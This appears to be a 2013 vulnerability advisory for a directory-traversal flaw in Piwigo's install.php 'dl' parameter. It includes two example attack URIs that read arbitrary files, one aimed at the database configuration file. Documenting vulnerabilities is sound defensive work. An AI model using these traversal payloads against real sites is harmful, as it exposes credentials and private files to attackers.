Piwigo Arbitrary File Disclosure and Arbitrary File Deletion Vulnerabilities

BID:58016

Info

Piwigo Arbitrary File Disclosure and Arbitrary File Deletion Vulnerabilities

Bugtraq ID: 58016
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Feb 18 2013 12:00AM
Updated: Feb 18 2013 12:00AM
Credit: Gjoko Krstic
Vulnerable:
Not Vulnerable:

Discussion

Piwigo 'dl' Parameter Directory Traversal Vulnerability

Piwigo is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input.

A remote attacker can use directory-traversal strings to retrieve arbitrary files in the context of the affected application.

Versions prior to Piwigo 2.4.7 are vulnerable.

Exploit / POC

Piwigo 'dl' Parameter Directory Traversal Vulnerability

Attackers can exploit these issues through a browser.

The following example URI is available:

http://www.example.com/piwigo/install.php?dl=../../../../../../lio_passwords.txt
http://www.example.com/piwigo/install.php?dl=/../../local/config/database.inc.php

Solution / Fix

Piwigo 'dl' Parameter Directory Traversal Vulnerability

Solution:
Updates are available. Please see the references or vendor advisory for more information.

References

Piwigo 'dl' Parameter Directory Traversal Vulnerability

References:
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